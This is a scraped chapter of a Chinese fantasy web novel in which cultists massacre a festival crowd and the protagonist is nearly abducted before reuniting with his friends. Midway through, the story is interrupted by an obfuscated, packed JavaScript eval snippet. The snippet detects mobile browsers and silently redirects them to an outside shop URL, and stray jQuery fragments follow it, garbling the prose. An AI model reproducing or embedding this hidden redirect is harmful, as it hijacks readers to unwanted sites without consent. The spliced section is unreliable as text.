文趣网 > 其他小说 > 弗斯尼亚·神赐之地 > 24. 日月节·异教
    傍晚的云霞如同艳丽的舞女,顺着风移动着舞步,抛下七彩的纱,让大地和建筑都染上了斑斓的颜色,像绚丽的油画。

    教堂雪白的墙壁被薄暮涂上暖黄的光,礼炮声震耳欲聋,白金色的地毯上留下一地彩带和鲜花。教堂二楼悬台的门终于缓缓打开,身穿羊毛长袍的老人头戴巨大的主教冠,上面的黄宝石熠熠生辉,冠下金色的长发如瀑布般垂至脚踝,他肩披宽大的披带,丝绸打底,金色十字架与太阳图腾交错,沿肩而下。拄着比他高一个头的金制权杖,杖首是尖刺环绕的金色圆盘,模仿着太阳,他一步一步,走出阴影,走到了那具有扩音功能的话筒前。

    “伟大的母神在上,今日,我们聚集于此,不是因为恐惧长夜,而是因为即将见证黎明。”他抬起一条手臂,苍老沉郁的声音传至了整个广场,霎时一切都化为宁静,所有人都抬头望向他,聆听着。

    他深邃的眼眸里不带情感,一字一字吐出的赞词恍若机器没有起伏的语调:“你是光明的创造者,是世界的母亲,是众生唯一的主。你以指尖划开混沌,让光得以普照;你命太阳行走于苍穹,使大地得以受到你的恩惠;你带领我们战胜那些妄图摧毁光明的邪祟,让我们再也不会被阴影遮蔽住双眼。”

    广场上,很多人都模仿着教堂门前的教徒双手合十起来。方炽泉环顾下四周的人群,对苏银道:“我还真不知道,我们国家竟然也有那么多人信光明母神。”

    “只是因为一些美好的愿望吧,大部分人类可能不是真的信。”

    “是吗?最好是呢。”他不停用手指摩挲着衣服,“这些宗教编纂出来的胡言乱语真是无聊,但所有人还听得那么认真,搞不懂啊。我们还不如去把刚才那场牌局进行下去,要我说胜算分明是我们更大一些。”

    苏银苦笑一下:“现在毕竟是个很庄重的时刻,等一等吧。”

    “胡言乱语的时刻。上过学的都该知道黑夜和白天只是因为星球自转,像我这样讨厌学习的都知道。”方炽泉还是不满地抱怨着,看上去很焦急。

    “很多人没上过学呢……”

    他们窃窃私语的时候,老主教一直慢条斯理地说着,现在终于也渐渐接近尾声。太阳移至街巷的另一端,在地平线上闪烁着最后的余晖,人们的影子被无限地拉长,投在地上投在墙上。

    “伟大的母亲,伟大的主啊!”他张开双臂,“我们求你,让光明恒久地照亮这个全新的世界。照耀这地,照耀这民,照耀每一个角落。死亡不再腐臭,人心不再脆弱,伤病不再痛苦。在你的光辉下,世界的一切黑暗都荡然无存,即使是那短暂的夜,我们也将无所畏惧地将其击碎。”

    “黑暗将不再为黑暗,那永恒的一日终会降临,我们在你的光中,亲眼得见你的面。”

    他高举起太阳权杖,一道笔直的光柱从那圆盘射出,直指渐暗的云端,在上面荡漾开金黄的光波。

    “切,虚张声势的巫术。”苏银听到身旁方炽泉嘲笑了一句。

    话音刚落,人群爆发出骚动。

    苏银抬头看向教堂的悬台,老主教背后的影子如同墨液一样扭曲升高,化作了一个人形。鬼魅般的黑袍人拿着一把短刀,刀身反射出刹那泠冽的光。

    电光火石,金属摩擦,火星四射,红发的身影从悬台的门后闪出,红色的长刀留下残影挑住了刺客的短刀。

    话筒的扩音里传来老主教粗重杂乱的呼吸声,早已没了方才的平静。他转过身,无措地靠在大理石的围栏上,头上的冠冕不知何时掉落在了一楼的地上,宝石碎裂。

    “啊啊啊异教徒!异教徒!是异教徒!”

    “快把他处死!快把他处死!”

    广场的人群尖叫起来。有的人惊慌失措地推搡身边的人逃窜,有的人却叫嚷着挥舞拳头向前冲跑。

    苏银对赵一诚的突然出现感到惊喜和不解,他回过头去,方炽泉却已经被躁动的人群给淹没了,连他自己也开始被推着向前或向后。

    一楼的教堂门前,影子投下的地方又不断生出一些身披黑袍的人来。他们用黑色面纱挡住了整张脸,手里的刀剑闪着寒光。

    赵一诚横刀挡在老主教的身前,但只是喘息了片刻,黑袍的刺客毫不犹豫地又扑了上来,短刀直劈他的脖颈。他眉头微皱,挥刀挡下后,双手握住刀柄,直接刀身贯穿了刺客的身体,再用力向上挑起,将其生生变做了血肉模糊的两半。

    “咚——”

    “咚——”

    “咚——”

    塔顶的钟连敲三下。

    “哈哈!哈哈哈!”老主教突然仰天大笑起来。

    赵一诚挥了下刀,甩去上面的血,转身惊恐地看到老主教双目都变做了全黑,浑身抽搐。他双手抱住了自己的头颅,“咔嚓”一声,手一用力,他把自己的头向右拧成了一个恐怖的角度,身体立刻向后倒去。

    “啊啊啊!主教死了!”

    “老主教死了!怎么办啊!”

    “异教徒来了!快点跑啊!快!”

    靠前的人群看到老主教坠落的尸体,又一次爆发出了更强的骚乱。猩红的鲜血正从他身下流淌出来,染红了教堂前雪白的地毯。

    一声破空的枪响在骚乱声里异常的明显,下一秒,钟塔顶上一个黑袍的教徒坠落了下来。

    “该死的,怎么会用这么阴毒的诅咒巫术……”赵一诚骂道。于申何不开枪,那家伙恐怕也会以命换命自己死掉。这群人简直是疯了!

    他扒在悬台的围栏上,对着下面混乱的人群看去,却猛地瞪大了眼睛。

    苏银愣愣地站在如鸟兽散般奔逃的人山人海里,一种五味杂陈的表情向悬台看着。

    为什么会在这?!不是说了不要来吗!为什么你会在这!心中警铃大作,他立刻手撑着围栏,翻身跳下了二楼。

    此刻的地面上尸体已然不止主教的一具。教堂的管弦乐队全部倒在了血泊之中,唱诗班的白色长裙也尽数染上猩红,残肢斑驳,轻快的音乐不再,取而代之的只剩下震耳的求救和撕心裂肺的尖叫声。

    不想理会这些,现在这一切根本不重要。他不该在这里,他不该在这么危险的地方……

    赵一诚飞奔下教堂前的楼梯,避开异教徒,就要挤进人群。

    风卷过,带起染血的花瓣,樱粉长发的人突然出现在他面前。榕长英一挥扇,拦住了他。

    她面无表情:“别误事。”

    “可是!”

    “你现在的任务是把黑袍的人尽数抹除。”

    “但是我朋友他……!”

    “一个人的命重要,还是一群人的命重要,你连这都想不清楚?”她皱了皱眉,“赵一诚,别让我失望。”

    赵一诚乞求的眼神看着她,但榕长英只是冷着脸不为所动。无可奈何又师命难违,他强压住愤怒,咬牙道:“是。谨遵您的命令。”

    人潮汹涌,鲜血淋漓。人们疯狂地相互推攘,向广场外亡命狂奔。人声鼎沸,惨叫声此起彼伏。但是在广场中心,看不清教堂附近究竟在发生什么。苏银对一切感到不真实,几分钟前不是还在其乐融融地过节吗?耳鸣让他意识有些模糊,他晕头转向不知该向哪跑。

    “小方?炽泉!在哪……”

    他叫喊着方炽泉的名字,但对方早已不知随着人群去了哪里。为什么会这样,到底发生了什么,赵一诚为什么……飞溅而来的鲜血还留有余温,打断了他的思绪。

    黑袍的教徒衣摆已经浸染成暗红,妇人后退着撞到苏银,但她无暇在意,苦苦哀求对方不要杀她:“大人,我不信教,我真的不信教……您看我,我是个人类,我。”

    血红色的长剑穿透她的身体而过,带出黏连的红色液体。瞳孔里映出那剑刃冰冷的寒光,苏银才意识到,这是一场屠杀,日月节已然成为炼狱的温床。

    他也会杀了我,我会死在这。

    苏银脑内突然变得无比清醒。

    剑被拔出,妇人的尸体无力地倒下,融进流淌的血泊之中。黑袍人清晰地站在了苏银的面前。他全身没有一处亮色,皮肤都被深黑的布料包裹,像一个无了人性的鬼影。

    我不能死。

    我不想死。

    这一切不该变成这样!

    黑袍人提起了剑。几乎源自本能的,苏银抬起手,脚下亮起白色的法阵,周遭的一切都仿佛化作虚无,停滞,消失,只剩金属的粒子在法阵中显现。

    逆转。

    他一翻手,脚下法阵的方向倒置,黑袍人手中的剑猛然脱手,悬浮的剑尖直指自己,没有停顿,一剑封喉。剑掠过带动起气流,掀起了他的面纱,动脉的鲜血喷射而出。

    他的嘴角狰狞地上扬,模糊不清的声音传来:“暗神在上,黑夜永存……”

    突然,有人一把搂住苏银的腰,轻松地抱起了他。来不及做任何反应,那人带着他与黑袍人拉开距离,又转身跳至了一处门头。

    苏银扭头看向原本站的位置。那个被他杀了的黑袍人爆炸开来,边上来不及躲避的两个人被波及到,半边身体被炸得撕裂,断肢飞了出去。余波过去,那里留下血雾和残肢,再然后又有人逃窜着践踏尸体而过。而不远处的教堂前,也不断有黑袍教徒以同样的方式终结自己和身边人的生命。

    “他们都是疯子,不是吗?”抱着他的人开口道。

    一头柔顺的金发梳成背头,祖母绿色的深邃眼眸温柔地看着苏银,他笑了下:“你竟然会无介质布阵。”

    “您为什么……”苏银眼前被泪水打湿得有些模糊,尸山血海的画面让他心里闷得难受,维伽的突然出现令他更是不知所措。

    “这里太危险了,我带你离开。”维伽笑了笑,抱着他轻轻一跃跳上了楼顶。

    苏银注意到一栋建筑的屋顶上站着一个身穿东方古装的男子,和曾经在炎鬼巷见到的人如出一辙。那人转过头看往他们的方向,上半张脸戴着面具,面具上画着的是一只眼睛。

    维伽没对他做理会,抱着苏银落在了离开广场的一条小路上。

    被放下后,苏银却立刻后退几步。他摸了下脸颊上沾染上的血迹,又眼前浮现方才的尸山血海,不禁扶着墙干呕起来。

    “没关系吧?我可以带你去能疗伤的地方。”

    “咳,我没受伤。”苏银眉头紧锁着,脑子里乱作一团,“您为什么会在这?为什么要救我?”

    “过来看看庆典而已。”维伽从容地答道,“救你是因为不忍心看到你就这样死了,毕竟家母的遗愿可还没实现。”

    看苏银暗暗向后挪步着,他眼里流露出失落:“你想回去?”

    “我朋友还在那,我……我有话想问他。”

    “他?那个红头发的狐族?还是那个刚刚陪着你的小子?”维伽压了压眉心,“你还不明白吗?他们要是真在乎你,就不会丢下你在那不管。他们怎么会明白你需要什么?他们能帮你找到真相吗?”

    他又靠近了几步:“苏银,跟我走,跟我走你才有可能知道十年前到底是发生了什么。”

    苏银紧张地摇了摇头:“您怎么保证您值得信任?而且我不能现在跟您走!”

    维伽于是将手伸进披风内侧,取出了一个木雕茉莉花发簪,呈给他看。苏银顿时瞪大了眼睛,震惊不已,因为那分明是小时候他和妹妹亲手做了送给母亲的礼物。为什么会在侯爵那!

    “为什么您会有这个!”他大声问道。

    “因为家母当真与令堂是关系紧密的朋友啊。这难道不是足以说明,我是发自内心想帮助你吗?为什么不愿信任我呢?”维伽走近了,托起苏银的手,把发簪放到了他手里,“拿好它吧。”

    “我需要你,你也需要我。你何必继续为了那些根本不在乎你的人而孤身留在这里?”他碧绿的眼眸透着幽幽的光,“离开这儿,然后去让一切未知的浮出水面。”

    “谢谢您,我会考虑的。但不是现在,不是现在……”苏银握住发簪,向后退开,转过身准备化出翅膀直接飞离这里。他或许应该直接跟侯爵走,可是想到他们,他没有勇气不告而别,即使他们可能当真并不把他视为同路人。

    维伽突然把手按在了他的后背上。

    苏银一惊,他竟感觉不到翅膀的存在了。

    “是啊,你有你母亲的血统,也是半个羽族呢。”维伽一用力,把他转过身托在了怀里,“可惜了,看来你不知道,被按住脊椎的第八块骨头,羽族就会无法化形出翅膀。因为那里汇集的力量恰与飞行的能力有关。”

    他半眯起眼睛笑着说:“虽然我更希望你主动跟我走,但看来有时还是需要强硬一些。”

    与此同时的城中广场一片狼藉,鲜血满地。集市的木棚在接连的爆炸中坍塌,木架子横七竖八地支着,黄白的缎带飘落在一具具尸体上,像一场大型的集体葬礼。

    赵一诚抽出插入异教徒心脏的刀,担心对方自爆,他立刻跳开了数步。

    “怎么办!天暗了,他们重新在消失!”一旁的一个白蔷薇成员指着建筑的角落,向他喊道。然而,黑袍的教徒从他后方猛地抱住了他。

    “嘭”地一声,爆炸的气流夹着人体的组织和破碎的布料扑面而来。赵一诚“啧”了一声,又牺牲一个,这种事情哪有必要让那么多人搭上性命。

    椿景赤着脚从后侧的巷子跑了过来,手里还提着高跟鞋。

    “怎么样?人群基本上都疏散了吧?”

    “是。这里剩下的应该都是你们组织的人了。”

    “他们开始撤离了,大概快结束了。”

    “早知道会有袭击,你们组织就不该让庆典举行。”

    “白蔷薇也是前一天晚上才收到情报,但教会的人早上的时候根本不信我们的话……一群固执的蠢货。”

    赵一诚护着她移至一旁,又问道:“你找到苏银了吗?”

    “没……你们店里的店员倒是我都看到了,就是没看到苏银。”

    “该死……”赵一诚握了握拳,“只能等事态彻底平息再找了。”

    屋顶上,东方服饰的男子仍居高临下地看着。

    他的脚底亮起一道红色的法阵,瞬间燃起了熊熊烈火,将他整个包裹吞噬。火焰中,人形渐渐变得扭曲和焦黑。

    待其燃烧殆尽,那具如炭一般的躯体却破碎成颗粒状,重组起来。很快,男子赤身裸体地又站在了原处,朱红的眼里闪着愉悦的光。

    男子提起笔一挥,身上重新添上原本的衣服,脸上也重新戴上面具。他语气戏谑地道:“小姑娘,你的阵法术不错嘛,竟然还企图把我烧死。”

    祝晓余睁大了眼眶,拔起了巨大的铜色钥匙,她用无助的眼神看向榕长英。

    榕长英拍了拍她,示意她别管这里的事,去让组织的成员撤到安全的地方疗伤。

    “叶忒罗琳,这局是我赢了。你的情报网未免效率太低了些,不是吗?”男子语气挑衅地说道。

    “为了制造这场混乱,甚至不惜动用七罪之一懒惰的力量?这可不是什么划算的买卖。”榕长英不带情感地说着,“秦岚若,是你利用了教徒,还是教徒利用了你?”

    “呵呵,这重要吗?过度担心成本的投资多没意思。前因是什么根本无所谓,能达成现在的局面就够了。”秦岚若沿着房檐的边缘惬意地走着,“哦不,不对,现在的状况确实令人愉快,但还远远不够呢。”

    “无论你还想做什么,你都不会得逞的。”

    “放狠话吗?真不像你的做派。”他勾起嘴角,在屋顶蹲了下来,面具后的眼睛直直盯着对面巷口的赵一诚,“你想阻止我的话就尽情尝试吧。”

    他眯起眼睛:“但新世界里,胜算可绝对在我这。”

    苏银抬着头,看到不远处的屋顶上榕长英和面具男子对峙着。但这无关紧要,他此刻拼命挣扎,试图从维伽怀里挣脱。

    无人的小路上忽然起了一阵风,他们所在的地面上浮起了三层异常复杂的透明法阵,紧接着又是一个法阵倾斜着滑过,宛如时钟的的指针。

    寂静。

    呼吸声变得慢了,慢到几乎无法察觉。维伽的动作也变得异常缓慢,接近静止。

    苏银被一只手揽过,踉跄着被那人拉去了一边。

    “老师!”看清对方,他欣喜地喊道。

    理靡额上冒着汗,手中持着一杆巨大的法杖,杖柄被一种无形又扭曲的线状力量环绕着,杖首是个一分为二的表盘,指针却照旧维持原位,此刻肉眼不易觉察地微微走动着。

    她转动法杖,把苏银护在了身后,一挥另一只手,解除了法阵。表盘上的指针随之正常走动起来。

    维伽愣了一下,但随后笑起来:“我就说他怎么会阵法巫术了。原来是拜师了古巫族的时之轮持有者,莱拉·安卡利斯女士。久仰您的大名。”

    “哼。疯巫坎德拉的儿子,年纪轻轻就因神灵晶石研究一举成名,莱缪尔·伊卡洛斯,你的名声也不小。”理靡冷冷说道。

    苏银探头,小声问道:“老师,你们认识?”

    “我和他不算认识,和他妈妈倒是有过几面之缘。”

    “他说我母亲和他母亲曾是朋友。”

    理靡诧异地回头瞥了眼苏银:“这我可也不知道了。但如果是真的,能和疯巫做朋友,你母亲绝对也算是奇人了。”

    果然侯爵是在骗我吗……苏银沮丧地想着。

    理靡用法杖指向维伽,质问道:“所以小子,你想做什么?你最好别像你母亲那样是个疯子。”

    维伽摊了下手:“您误会了,我能做什么呢?请儿时的朋友去做做客罢了。”

    “可惜了,我和我的好徒儿都不愿意接受你这邀请。既然我来了,你就别想带苏银走。”

    维伽收起了笑意,绿色的双眸闪过一瞬毒蛇般的阴冷:“一个两个的,你们有什么资格替他做决定?你们明白他到底想要什么吗?”

    “虽然我确实不清楚,但我笃定他想要的跟你想要的绝不是一个东西。”理靡应道。

    “真是自私。”维伽冷脸看着她,“我们相互需要,容不着您老人家来掺和。”

    “需要?你不会还在继续你母亲的事情?”

    “呵。她做的事我可看不上,我要做的事……”维伽停顿了没再说下去,随后又带上了笑容,转而对苏银道,“看来今天确实没法带你离开了。”

    “但我相信,未来总有一天,你会主动来找我的。”他最后丢下了一句话,转过身离开了。

    小路归于沉寂,血红的月光下人影婆娑,风声凄厉地哀嚎。二人望着他的背影融进夜色,又沉默等待了片刻,确定没再有什么危险,理靡驼下了身子:“唉,我真老了,用这么短时间竟然都觉得累了。不过真是想不通,你怎么会跟他扯上关系。”

    “我也不知道……”苏银搀扶起她,“老师,您怎么会来?”

    “我越坐越觉得不对劲,越想越觉得不对劲啊。黄毛那小

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688770|207851||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    子我就觉着他让我不舒服,后来又一想,椿景这死丫头不可能同意不带着你啊。”理靡叹着气,“但我不知道到底哪里出了问题。傍晚了你们都还不回来,我就心急了过来看看。一过来,这满地红色老婆子我真是许久没见过了,可怕啊。炎鬼都不见得有人类残忍。”

    “可……您怎么找到我的?”

    “寻人的阵法还是挺基础的。前提是熟悉对象体内的元素粒子排布。那你的巫术是我教的,我当然非常熟悉你啦。”理靡笑起来,皱纹一叠一叠的,“你师父我厉害吧?靠谱吧?你这傻小子,差点就给人拐了去了。”

    苏银低下头,犹豫着道:“但其实……我觉得他可能本意不坏。或许他真的能帮我找到真相,我也能帮他一些忙。”

    “本意这种东西谁说得清楚。但不管他安的是好心还是坏心,老婆子我肯定是不能放你跟他走的。到时候椿景和那个狐族小子要是发起疯来,我还得被拉着陪他们出来找你。”

    “嗯……广场那里现在怎么样?”

    “那可能还危险着。所以直接回咖啡馆吧,我得保好我徒儿的安全的。”

    咖啡馆里空无一人。苏银祈祷着,桐雀和悫酿肯定是平安无事的,或许只是回学校了;琉安和许织略肯定也是平安无事的,或许只是回家了。死亡是如此恐怖,又如此轻易的事情。他有些敬畏起死亡,因为它注定伴随着失去,而他或许有了新的不想失去的存在,那些平安的、喜乐的。

    他和理靡坐在沙发上。理靡看得出他有心事,就没再多说话去打扰,只是摩挲怀表,看着时间一点一点流逝。

    他的心事?苏银不知道这种事情能不能算心事。事实上,他不过是渴望从一些人嘴里听到一句肯定的、明确的答复。为什么他永远被抛下,被丢弃在一旁,曾经不是这样的。

    天变得如墨一般深,月光被厚重的云挡住,气压低得令人窒息,雨却并没有下来,城市的空气里隐隐带着散不去的血腥气味和腐烂的臭味。理靡看了眼苏银有些消沉和惺忪的双眼,拍了拍他:“去睡吧,你今天很累了。等他们回来了,我会跟他们解释的。”

    或许她说得对,他应该去休息,回到日常的状态,而不是继续等待。时间会再一次让事情过去,让情绪遗忘,一切都会照旧地进行。他简单地洗漱过后,躺在床上觉得床褥仿佛生长出倒刺,难以入眠,只好抽了本书翻开来看,一目十行地过去,却没留下任何印象。他站起来,去厨房倒了杯水,但喝不下,拿着水杯独自在二楼的客厅踱步起来,时不时抬眼望向墙上卡顿的时钟。

    等到午夜时分,咖啡馆的门才被咚得推开。

    “你冷静一点!”椿景劝说着,“他不会有事的,好吗?他可能只是在城里的任何地方休息。”

    “我冷静不了!”赵一诚冲她喊道,“这是我的错你明白吗?是我当时没追上去,是我……”

    “纠结是谁的错也无济于事了。”椿景打断了他,“再找找,你得相信他没出事,虽然其实我……”她说着哽咽了一下,捂了下嘴,然后深吸了一口气,努力让语气保持平静,“没事的,老太婆在呢。老太婆在呢……”

    理靡也已经坐得有些疲倦了,听到声音,她摘下眼镜站了起来,上前抱住了椿景:“诶,傻丫头,累坏了吧。”她粗糙的手抚摸着椿景的后背,“没事啦,活着就行,活着就好。你们还这么年轻就要见到这种同类相残的事情……唉,辛苦你们了。”

    椿景瞬间忍不住地抱着她大哭起来,一时哽咽得说不出话。

    理靡抬起头,对赵一诚说道:“放心吧。他在楼上,已经休息了。”

    “你在那些尸体里翻了很久?”她看他浑身是血,便问道。

    “……这不重要。”赵一诚握着拳的手微微颤抖着,“我上去看看。”

    “去吧。”

    “谢谢您。”

    是,这不重要,与朋友的命相比,什么都根本不值一提。

    当时他简直快疯了,找遍了教堂、广场和附近街巷的每一个角落。人既不在安全撤离的人群里,也没有在角落躲着,他几乎都要确信苏银是遇难了。可是他不想信,他一瞬间有一种自欺欺人的想法——只要我坚信他没有死,他就一定活着,或者,只要我证明他没有死,他就一定活着。

    榕长英喊他回总部,他没有听,只是继续把广场上的尸体一具一具地翻过身来,心里拼了命地向各种神祈求千万不要看到那张熟悉的面容;心底却又隐隐希望看到他,看到平安无事的他,躺在那只是睡着了。

    在血腥黏腻的环境里,他甚至不止一次抬起头时,恍惚间仿佛看到苏银安然无恙地站在他身前,一脸单纯地问他:“一诚,你在做什么?”幻觉,都是幻觉。他当时或许真的疯了。椿景一直在旁边让他冷静,冷静下来想办法。可他怎么才能叫自己冷静?

    他跪在地上求榕长英帮帮他,用巫术用阵法用什么都行,能不能找到苏银在哪里。“命运会为你们指路。”她眼帘低垂着说,说完就化作飞花散了。他平生第一次对老师产生了厌恨,为什么总是高高在上地说着让人不解的话,为什么总是在把所谓的大爱挂在嘴边,让集体的利益永远横亘在个人之上!可他什么也做不了,什么也违抗不了。

    失魂落魄地和椿景寻了很久很久,他们抱着最后一丝希望,才走回了咖啡馆。

    幸好,命运并没有太辜负他的心愿。

    赵一诚脚步踩在上楼的台阶上,心里仿佛压着巨石一般沉重。有了一次擦肩而过的生离死别,他突然发现自己似乎有太多话想说。

    二楼的门被“吱呀”地推开,苏银坐在沙发上,睡眼惺忪地抬起头。没等他反应过来,对方已经紧紧抱住了他。没什么玫瑰花香了,只剩血和泪的气味。

    “没事了,你没事就好……你没事就好……”赵一诚抱得特别用力,像是生怕苏银会突然消失,生怕此刻也只是幻觉的一部分。

    苏银把手贴在他后脑上,一下又一下地顺着他的头发,那头长发此时已看不出是天然还是被血染红。

    “银,是我不好,是我没有第一时间去找你。对不起,对不起……你原谅我好不好?”他声音颤抖得厉害,带着点鼻音,“我,我就应该陪在你身边。都是我不好,我的错……”

    “没关系的。你有组织给的任务在身上,不是吗?”苏银叹了叹气。

    “是!可是那又怎么样!”赵一诚突然提高了声量,“我不想去在乎那些的,我明明根本不想参与那些的!世人的安危到底关我什么事情?去他的大义、公正、秩序、天下安定,我为什么要为了这些自私自利的家伙而牺牲掉你?凭什么……”他说着说着,泪水不受控地夺眶而出。他哽咽着,泪流进口中,咸涩的味道像生命一样荒诞。

    “我们明明,才只有二十岁……我不想去管那些啊,我不想去管。可是,是老师抚养我长大,是她给了我第二次生命,我,我能怎么办……”赵一诚把头埋进苏银的肩窝,声音闷闷的,“他们都说我们是成年人了,要担起责任。可其实我只想和你,和你们平平安安地在酒馆吃饭聊天,毫无顾忌地躺在草地上发呆。我们还有很多地方没有去过,还有很多山川河海没有见过……”

    “我,我不想你死……”他呜咽起来,有些泣不成声。

    苏银感觉到肩上眼泪的湿热,提着的心也终于放下。他轻拍着友人的后背。有些话他已经不用再问了,他已知道他的答复是什么。

    “嗯。对不起,让你担心了。”

    苏银望向天花板,吊灯的光扑朔着,像夜空的辰星。曾经也有过一次,那时是中学假期里的一个深夜凌晨,公园的长椅上,赵一诚像这样抱着他哭。那天他在榕长英的安排下,代表东方的古四族去参加贵族的宴席,在酒桌上赴炎趋势地奉承着那些各界的人士,口头的合同约定了一张又一张,喝到吐得面色惨白才终于结束这场荒唐的宴席。原本他和中学的朋友约定了晚上十点在校门口见面,一起去新开的一家饭馆尝鲜。但宴席结束时已经是第二天的凌晨一点。赵一诚到时,校门口只剩下苏银一个人还在等。

    他也想不起来了,自己当时为什么一直等在那里没有走,那时候他和赵一诚明明还并不算特别熟悉。或许因为也没有不等的理由吧。其他吃饭的人都是赵一诚的朋友,不是他的,他和他们不认识。何况,如果自己也走了,赵一诚看着空无一人的街道会是多么失望,他不敢去想象。

    最后没有去饭馆,赵一诚说只想在公园里走一会儿。坐下休息的时候,聊着聊着他就崩溃地哭了。其实他没再多说什么,只是向苏银倾诉着自己真的很累。“这是我第一次在别人面前哭。”他那么说着,“抱歉,让你看到这么丢脸的样子。”

    他们之间的关系或许就是从那之后才近的。赵一诚开始形影不离地每天去找他,时不时开他一些玩笑,反正知道他永远不会真的生气。他们和方炽泉经常三个人一起去一些地方玩,尝试各种新奇的东西,也是在那段时间里,他学会了不少牌类技能,也了解了很多书里读不到的社会规则。

    只是可惜,中学时代回不去了。时间冲刷一切,平淡了不愉快的记忆,却也给完满的事物附上裂痕。

    “一诚,以后可不可以……”苏银喃喃地问着,“更多信任我一点?”

    赵一诚的声音还是闷在衣料里:“我以后再也不把事情瞒着你了,只要你答应我,绝对,绝对不可以拿自己的生命开玩笑。”

    “嗯。我答应你。”